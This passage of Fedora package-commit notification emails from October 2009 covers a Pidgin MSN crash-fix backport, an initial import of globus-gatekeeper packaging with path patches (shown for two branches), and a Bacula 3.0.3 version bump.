@@ -299,8 +299,8 @@
 static gboolean
 servconn_idle_timeout_cb(MsnServConn *servconn)
 {
-	msn_servconn_disconnect(servconn);
 	servconn->timeout_handle = 0;
+	msn_servconn_disconnect(servconn);
 	return FALSE;
 }
 


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-12/pidgin.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- pidgin.spec	16 Oct 2009 20:10:47 -0000	1.98
+++ pidgin.spec	19 Oct 2009 18:12:27 -0000	1.99
@@ -82,7 +82,7 @@
 
 Name:		pidgin
 Version:	2.6.3
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -119,6 +119,7 @@ Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
+Patch104: pidgin-2.6.3-msn_servconn_disconnect-crash.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -379,6 +380,7 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
+%patch104 -p0 -b .msn_servconn_disconnect-crash
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -623,6 +625,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> 2.6.3-2
+- Upstream backport:
+    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash
+
 * Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
 - 2.6.3 CVE-2009-3615
 



From ellert at fedoraproject.org  Mon Oct 19 18:14:52 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:14:52 +0000 (UTC)
Subject: rpms/globus-gatekeeper/devel globus-gatekeeper-setup.patch, NONE,
	1.1 globus-gatekeeper.patch, NONE, 1.1 globus-gatekeeper.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181452.AFF1711C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gatekeeper/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32269/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gatekeeper-setup.patch globus-gatekeeper.patch 
	globus-gatekeeper.spec import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


globus-gatekeeper-setup.patch:
 setup-globus-gatekeeper    |    2 +-
 setup-globus-gatekeeper.pl |   28 +++++++++++-----------------
 2 files changed, 12 insertions(+), 18 deletions(-)

--- NEW FILE globus-gatekeeper-setup.patch ---
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper globus_gatekeeper_setup-2.2/setup-globus-gatekeeper
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper	2009-07-31 22:34:30.738499397 +0200
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-perl $GLOBUS_LOCATION/setup/globus/setup-globus-gatekeeper.pl "$@"
+perl ${GLOBUS_LOCATION:-/usr}/setup/globus/setup-globus-gatekeeper.pl "$@"
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl	2009-08-04 20:42:25.015218865 +0200
@@ -4,12 +4,7 @@
 
 if (!defined($gpath))
 {
-  $gpath = $ENV{GLOBUS_LOCATION};
-}
-
-if (!defined($gpath))
-{
-   die "GPT_LOCATION or GLOBUS_LOCATION needs to be set before running this script"
+  $gpath = "/usr";
 }
 
 @INC = (@INC, "$gpath/lib/perl");
@@ -50,9 +45,9 @@
 
 my $metadata = new Grid::GPT::Setup(package_name => "globus_gatekeeper_setup");
 
-my $globusdir = $ENV{GLOBUS_LOCATION};
-my $setupdir = "$globusdir/setup/globus/";
-my $gk_conf = "$globusdir/etc/globus-gatekeeper.conf";
+use Globus::Core::Path;
+
+my $gk_conf = "$Globus::Core::Path::sysconfdir/globus-gatekeeper.conf";
 
 print "Creating gatekeeper configuration file...\n";
 
@@ -66,27 +61,26 @@
   -x509_user_cert $x509_user_cert
   -x509_user_key $x509_user_key
   -gridmap $gridmap
-  -home $globusdir
-  -e libexec
-  -logfile var/globus-gatekeeper.log
+  -e $Globus::Core::Path::sbindir
+  -logfile $Globus::Core::Path::localstatedir/log/globus-gatekeeper.log
   -port 2119
-  -grid_services etc/grid-services
+  -grid_services $Globus::Core::Path::sysconfdir/grid-services
   -inetd
 EOF
 
 print "Done\n";
 
-if ( ! -d "$globusdir/var" )
+if ( ! -d "$Globus::Core::Path::localstatedir/log" )
 {
    print "Creating gatekeeper log directory...\n";
-   system "mkdir -p $globusdir/var";
+   system "mkdir -p $Globus::Core::Path::localstatedir/log";
    print "Done\n";
 }
 
-if ( ! -d "$globusdir/etc/grid-services" )
+if ( ! -d "$Globus::Core::Path::sysconfdir/grid-services" )
 {
    print "Creating grid services directory...\n";
-   system "mkdir -p $globusdir/etc/grid-services";
+   system "mkdir -p $Globus::Core::Path::sysconfdir/grid-services";
    print "Done\n";
 }
 

globus-gatekeeper.patch:
 Makefile.am         |    4 +---
 configure.in        |    4 ----
 globus_gatekeeper.c |   45 +++------------------------------------------
 3 files changed, 4 insertions(+), 49 deletions(-)

--- NEW FILE globus-gatekeeper.patch ---
diff -ur globus_gatekeeper-5.0.orig/configure.in globus_gatekeeper-5.0/configure.in
--- globus_gatekeeper-5.0.orig/configure.in	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/configure.in	2009-07-29 01:30:55.624708882 +0200
@@ -24,10 +24,6 @@
 esac
 AC_SUBST(UNICOS_LIBS)
 
-if test "x$GLOBUS_THREADS" != "xnone"; then
-    AC_MSG_ERROR(Cannot build gatekeeper with threads)
-fi
-
 AC_CHECK_HEADERS(proj.h)
 AC_CHECK_HEADERS(netinet/tcp.h)
 AC_CHECK_HEADERS(string.h)
diff -ur globus_gatekeeper-5.0.orig/globus_gatekeeper.c globus_gatekeeper-5.0/globus_gatekeeper.c
--- globus_gatekeeper-5.0.orig/globus_gatekeeper.c	2008-08-15 11:09:53.000000000 +0200
+++ globus_gatekeeper-5.0/globus_gatekeeper.c	2009-08-06 08:44:45.674401405 +0200
@@ -109,10 +109,6 @@
 #include <proj.h>
 #endif
 
-#if !defined(MAXPATHLEN) 
-#   define MAXPATHLEN PATH_MAX
-#endif
-
 #ifndef HAVE_SETENV
 extern int setenv();
 #endif
@@ -122,6 +118,7 @@
 #endif
 
 #include "globus_gatekeeper_utils.h"
+#include "globus_gsi_system_config.h"
 
 /******************************************************************************
                                Type definitions
@@ -179,7 +176,7 @@
 #       define GRAM_K5_EXE "globus-k5"
 #endif
 #ifndef GLOBUS_LIBEXECDIR
-#  define GLOBUS_LIBEXECDIR "libexec"
+#  define GLOBUS_LIBEXECDIR "sbin"
 #endif
 #ifndef GLOBUS_GATEKEEPER_HOME
 #       define GLOBUS_GATEKEEPER_HOME "/etc"
@@ -188,10 +185,6 @@
 #define LOGFILE ""
 #endif
 
-#ifndef PATH_MAX
-#define PATH_MAX MAXPATHLEN
-#endif
-
 #define FAILED_AUTHORIZATION        1
 #define FAILED_SERVICELOOKUP        2
 #define FAILED_SERVER               3
@@ -600,34 +593,7 @@
          * gatekeeperhome (-home path) when not run from inetd. 
          * otherwise it is NULL
          */
-#if defined(TARGET_ARCH_LINUX) || defined(TARGET_ARCH_SOLARIS)
-        /*
-         * There is a memory corruption bug in the getcwd in
-         * glibc-2.1.1 and earlier
-         *
-         * Solaris 2.5.1 does not have a correct implementation
-         * of getcwd either.
-         *
-         */
-        {
-            char tmppath[PATH_MAX];
-
-            if(getwd(tmppath))
-            {
-                gatekeeperhome = strdup(tmppath);
-            }
-        }
-#else
-        {
-            char *tmppath = NULL;
-            int size = 1;
-            while ( (tmppath = getcwd (NULL, size)) == NULL )
-            {
-                size++;
-            }
-            gatekeeperhome = tmppath;
-        }
-#endif
+        GLOBUS_GSI_SYSCONFIG_GET_CURRENT_WORKING_DIR(&gatekeeperhome);
         run_from_inetd = 0;
     }
     else
@@ -964,11 +930,6 @@
         foreground = 1;
     }
 
-    if (gatekeeperhome)
-    {
-        setenv("GLOBUS_LOCATION",gatekeeperhome,1);
-    }
-        
     setenv("GRIDMAP", genfilename(gatekeeperhome,gridmap,NULL),1);
     if (globuspwd) 
     {
diff -ur globus_gatekeeper-5.0.orig/Makefile.am globus_gatekeeper-5.0/Makefile.am
--- globus_gatekeeper-5.0.orig/Makefile.am	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/Makefile.am	2009-07-29 01:42:48.544708833 +0200
@@ -10,9 +10,7 @@
 EXTRA_DIST=
 
 sbin_PROGRAMS= \
-	globus-gatekeeper
-
-libexec_PROGRAMS = \
+	globus-gatekeeper \
 	globus-k5
 
 globus_gatekeeper_SOURCES = \


--- NEW FILE globus-gatekeeper.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gatekeeper
%global _name %(tr - _ <<< %{name})
Version:	5.0
%global setupversion 2.2
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gatekeeper

Group:		Applications/Internet
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/source globus_gatekeeper-5.0
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper-5.0
#		tar -zcf globus_gatekeeper-5.0.tar.gz globus_gatekeeper-5.0
Source:		%{_name}-%{version}.tar.gz
#		Source1 is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/setup globus_gatekeeper_setup-2.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper_setup-2.2
#		tar -zcf globus_gatekeeper_setup-2.2.tar.gz globus_gatekeeper_setup-2.2
Source1:	%{_name}_setup-%{setupversion}.tar.gz
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6820
Patch0:		%{name}.patch
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6821
Patch1:		%{name}-setup.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Provides:	%{name}-setup = %{setupversion}
Requires:	globus-common
Requires:	globus-common-setup >= 2
Requires:	globus-gatekeeper-setup >= 2
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gss-assist-devel%{?_isa} >= 3
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gatekeeper
Globus Gatekeeper Setup

%prep
%setup -q -n %{_name}-%{version}
%setup -D -T -q -n %{_name}-%{version} -a 1
%patch0 -p1
cd %{_name}_setup-%{setupversion}
%patch1 -p1
cd -

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

# setup package
cd %{_name}_setup-%{setupversion}

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --without-flavor

make %{?_smp_mflags}

cd -

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

# setup package
cd %{_name}_setup-%{setupversion}
make install DESTDIR=$RPM_BUILD_ROOT
cd -

# Register setup
perl -MGrid::GPT::Setup <<EOF
my \$metadata = new Grid::GPT::Setup(package_name => "%{_name}_setup",
				     globusdir => "$RPM_BUILD_ROOT%{_prefix}");
\$metadata->finish();
EOF

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/setup/setup-globus-gatekeeper.pl

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
    $GLOBUSPACKAGEDIR/%{_name}_setup/noflavor_pgm.filelist \
  | sed s!^!%{_prefix}! > package.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE
%dir %{_datadir}/globus/packages/%{_name}_setup
%{_datadir}/globus/packages/setup
%dir %{_datadir}/globus/setup

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


--- NEW FILE import.log ---
globus-gatekeeper-5_0-1_fc11:HEAD:globus-gatekeeper-5.0-1.fc11.src.rpm:1255976070


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:16 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:14:52 -0000	1.2
@@ -0,0 +1,2 @@
+globus_gatekeeper-5.0.tar.gz
+globus_gatekeeper_setup-2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:16 -0000	1.1
+++ sources	19 Oct 2009 18:14:52 -0000	1.2
@@ -0,0 +1,2 @@
+96dc37477340e9e3f6fc5a981510a5c5  globus_gatekeeper-5.0.tar.gz
+7aebcc8960634f8c8fd1077f25975c4f  globus_gatekeeper_setup-2.2.tar.gz



From limb at fedoraproject.org  Mon Oct 19 18:15:02 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 19 Oct 2009 18:15:02 +0000 (UTC)
Subject: rpms/bacula/devel .cvsignore, 1.10, 1.11 bacula.spec, 1.33,
	1.34 sources, 1.9, 1.10
Message-ID: <20091019181502.024F711C00DC@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/bacula/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32315

Modified Files:
	.cvsignore bacula.spec sources 
Log Message:
3.0.3.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bacula/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	23 Jul 2009 15:33:17 -0000	1.10
+++ .cvsignore	19 Oct 2009 18:15:01 -0000	1.11
@@ -1,2 +1,2 @@
-bacula-3.0.2.tar.gz
-bacula-docs-3.0.2.tar.bz2
+bacula-3.0.3.tar.gz
+bacula-docs-3.0.3.tar.bz2


Index: bacula.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bacula/devel/bacula.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- bacula.spec	22 Aug 2009 12:59:19 -0000	1.33
+++ bacula.spec	19 Oct 2009 18:15:01 -0000	1.34
@@ -7,8 +7,8 @@
 
 Summary: Cross platform network backup for Linux, Unix, Mac and Windows
 Name: bacula
-Version: 3.0.2
-Release: 4%{?dist}
+Version: 3.0.3
+Release: 1%{?dist}
 # See LICENSE for details
 License: GPLv2 with exceptions
 Group: System Environment/Daemons
@@ -1007,6 +1007,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Jon Ciesla <limb at jcomserv.net - 3.0.3-1
+- New upstream, 3.0.3.
+
 * Sat Aug 22 2009 Tomas Mraz <tmraz at redhat.com> - 3.0.2-4
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bacula/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	23 Jul 2009 15:33:17 -0000	1.9
+++ sources	19 Oct 2009 18:15:01 -0000	1.10
@@ -1,2 +1,2 @@
-52f4bc25d8988dffcff429bb5e1ee81b  bacula-3.0.2.tar.gz
-456ec1f95a4fad967fdb32609f9d2490  bacula-docs-3.0.2.tar.bz2
+feba58691b674b12056359d459ad6940  bacula-3.0.3.tar.gz
+26f7cfd76480e97ca489bd0ec8b0ee89  bacula-docs-3.0.3.tar.bz2



From ellert at fedoraproject.org  Mon Oct 19 18:16:26 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:16:26 +0000 (UTC)
Subject: rpms/globus-gatekeeper/F-12 globus-gatekeeper-setup.patch, NONE,
	1.1 globus-gatekeeper.patch, NONE, 1.1 globus-gatekeeper.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181626.0FE9511C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gatekeeper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv323/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gatekeeper-setup.patch globus-gatekeeper.patch 
	globus-gatekeeper.spec import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


globus-gatekeeper-setup.patch:
 setup-globus-gatekeeper    |    2 +-
 setup-globus-gatekeeper.pl |   28 +++++++++++-----------------
 2 files changed, 12 insertions(+), 18 deletions(-)

--- NEW FILE globus-gatekeeper-setup.patch ---
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper globus_gatekeeper_setup-2.2/setup-globus-gatekeeper
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper	2009-07-31 22:34:30.738499397 +0200
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-perl $GLOBUS_LOCATION/setup/globus/setup-globus-gatekeeper.pl "$@"
+perl ${GLOBUS_LOCATION:-/usr}/setup/globus/setup-globus-gatekeeper.pl "$@"
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl	2009-08-04 20:42:25.015218865 +0200
@@ -4,12 +4,7 @@
 
 if (!defined($gpath))
 {
-  $gpath = $ENV{GLOBUS_LOCATION};
-}
-
-if (!defined($gpath))
-{
-   die "GPT_LOCATION or GLOBUS_LOCATION needs to be set before running this script"
+  $gpath = "/usr";
 }
 
 @INC = (@INC, "$gpath/lib/perl");
@@ -50,9 +45,9 @@
 
 my $metadata = new Grid::GPT::Setup(package_name => "globus_gatekeeper_setup");
 
-my $globusdir = $ENV{GLOBUS_LOCATION};
-my $setupdir = "$globusdir/setup/globus/";
-my $gk_conf = "$globusdir/etc/globus-gatekeeper.conf";
+use Globus::Core::Path;
+
+my $gk_conf = "$Globus::Core::Path::sysconfdir/globus-gatekeeper.conf";
 
 print "Creating gatekeeper configuration file...\n";
 
@@ -66,27 +61,26 @@
   -x509_user_cert $x509_user_cert
   -x509_user_key $x509_user_key
   -gridmap $gridmap
-  -home $globusdir
-  -e libexec
-  -logfile var/globus-gatekeeper.log
+  -e $Globus::Core::Path::sbindir
+  -logfile $Globus::Core::Path::localstatedir/log/globus-gatekeeper.log
   -port 2119
-  -grid_services etc/grid-services
+  -grid_services $Globus::Core::Path::sysconfdir/grid-services
   -inetd
 EOF
 
 print "Done\n";
 
-if ( ! -d "$globusdir/var" )
+if ( ! -d "$Globus::Core::Path::localstatedir/log" )
 {
    print "Creating gatekeeper log directory...\n";
-   system "mkdir -p $globusdir/var";
+   system "mkdir -p $Globus::Core::Path::localstatedir/log";
    print "Done\n";
 }
 
-if ( ! -d "$globusdir/etc/grid-services" )
+if ( ! -d "$Globus::Core::Path::sysconfdir/grid-services" )
 {
    print "Creating grid services directory...\n";
-   system "mkdir -p $globusdir/etc/grid-services";
+   system "mkdir -p $Globus::Core::Path::sysconfdir/grid-services";
    print "Done\n";
 }
 

globus-gatekeeper.patch:
 Makefile.am         |    4 +---
 configure.in        |    4 ----
 globus_gatekeeper.c |   45 +++------------------------------------------
 3 files changed, 4 insertions(+), 49 deletions(-)

--- NEW FILE globus-gatekeeper.patch ---
diff -ur globus_gatekeeper-5.0.orig/configure.in globus_gatekeeper-5.0/configure.in
--- globus_gatekeeper-5.0.orig/configure.in	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/configure.in	2009-07-29 01:30:55.624708882 +0200
@@ -24,10 +24,6 @@
 esac
 AC_SUBST(UNICOS_LIBS)
 
-if test "x$GLOBUS_THREADS" != "xnone"; then
-    AC_MSG_ERROR(Cannot build gatekeeper with threads)
-fi
-
 AC_CHECK_HEADERS(proj.h)
 AC_CHECK_HEADERS(netinet/tcp.h)
 AC_CHECK_HEADERS(string.h)
diff -ur globus_gatekeeper-5.0.orig/globus_gatekeeper.c globus_gatekeeper-5.0/globus_gatekeeper.c
--- globus_gatekeeper-5.0.orig/globus_gatekeeper.c	2008-08-15 11:09:53.000000000 +0200
+++ globus_gatekeeper-5.0/globus_gatekeeper.c	2009-08-06 08:44:45.674401405 +0200
@@ -109,10 +109,6 @@
 #include <proj.h>
 #endif
 
-#if !defined(MAXPATHLEN) 
-#   define MAXPATHLEN PATH_MAX
-#endif
-
 #ifndef HAVE_SETENV
 extern int setenv();
 #endif
@@ -122,6 +118,7 @@
 #endif
 
 #include "globus_gatekeeper_utils.h"
+#include "globus_gsi_system_config.h"
 
 /******************************************************************************
                                Type definitions
@@ -179,7 +176,7 @@
 #       define GRAM_K5_EXE "globus-k5"
 #endif
 #ifndef GLOBUS_LIBEXECDIR
-#  define GLOBUS_LIBEXECDIR "libexec"
+#  define GLOBUS_LIBEXECDIR "sbin"
 #endif
 #ifndef GLOBUS_GATEKEEPER_HOME
 #       define GLOBUS_GATEKEEPER_HOME "/etc"
@@ -188,10 +185,6 @@
 #define LOGFILE ""
 #endif
 
-#ifndef PATH_MAX
-#define PATH_MAX MAXPATHLEN
-#endif
-
 #define FAILED_AUTHORIZATION        1
 #define FAILED_SERVICELOOKUP        2
 #define FAILED_SERVER               3
@@ -600,34 +593,7 @@
          * gatekeeperhome (-home path) when not run from inetd. 
          * otherwise it is NULL
          */
-#if defined(TARGET_ARCH_LINUX) || defined(TARGET_ARCH_SOLARIS)
-        /*
-         * There is a memory corruption bug in the getcwd in
-         * glibc-2.1.1 and earlier
-         *
-         * Solaris 2.5.1 does not have a correct implementation
-         * of getcwd either.
-         *
-         */
-        {
-            char tmppath[PATH_MAX];
-
-            if(getwd(tmppath))
-            {
-                gatekeeperhome = strdup(tmppath);
-            }
-        }
-#else
-        {
-            char *tmppath = NULL;
-            int size = 1;
-            while ( (tmppath = getcwd (NULL, size)) == NULL )
-            {
-                size++;
-            }
-            gatekeeperhome = tmppath;
-        }
-#endif
+        GLOBUS_GSI_SYSCONFIG_GET_CURRENT_WORKING_DIR(&gatekeeperhome);
         run_from_inetd = 0;
     }
     else
@@ -964,11 +930,6 @@
         foreground = 1;
     }
 
-    if (gatekeeperhome)
-    {
-        setenv("GLOBUS_LOCATION",gatekeeperhome,1);
-    }
-        
     setenv("GRIDMAP", genfilename(gatekeeperhome,gridmap,NULL),1);
     if (globuspwd) 
     {
diff -ur globus_gatekeeper-5.0.orig/Makefile.am globus_gatekeeper-5.0/Makefile.am
--- globus_gatekeeper-5.0.orig/Makefile.am	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/Makefile.am	2009-07-29 01:42:48.544708833 +0200
@@ -10,9 +10,7 @@
 EXTRA_DIST=
 
 sbin_PROGRAMS= \
-	globus-gatekeeper
-
-libexec_PROGRAMS = \
+	globus-gatekeeper \
 	globus-k5
 
 globus_gatekeeper_SOURCES = \


--- NEW FILE globus-gatekeeper.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gatekeeper
%global _name %(tr - _ <<< %{name})
Version:	5.0
%global setupversion 2.2
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gatekeeper

Group:		Applications/Internet
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/source globus_gatekeeper-5.0
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper-5.0
#		tar -zcf globus_gatekeeper-5.0.tar.gz globus_gatekeeper-5.0
Source:		%{_name}-%{version}.tar.gz
#		Source1 is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/setup globus_gatekeeper_setup-2.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper_setup-2.2
#		tar -zcf globus_gatekeeper_setup-2.2.tar.gz globus_gatekeeper_setup-2.2
Source1:	%{_name}_setup-%{setupversion}.tar.gz
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6820
Patch0:		%{name}.patch
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6821
Patch1:		%{name}-setup.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Provides:	%{name}-setup = %{setupversion}
Requires:	globus-common
Requires:	globus-common-setup >= 2
Requires:	globus-gatekeeper-setup >= 2
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gss-assist-devel%{?_isa} >= 3
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gatekeeper
Globus Gatekeeper Setup

%prep
%setup -q -n %{_name}-%{version}
%setup -D -T -q -n %{_name}-%{version} -a 1
%patch0 -p1
cd %{_name}_setup-%{setupversion}
%patch1 -p1
cd -

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

# setup package
cd %{_name}_setup-%{setupversion}

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --without-flavor

make %{?_smp_mflags}

cd -

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

# setup package
cd %{_name}_setup-%{setupversion}
make install DESTDIR=$RPM_BUILD_ROOT
cd -

# Register setup
perl -MGrid::GPT::Setup <<EOF
my \$metadata = new Grid::GPT::Setup(package_name => "%{_name}_setup",
				     globusdir => "$RPM_BUILD_ROOT%{_prefix}");
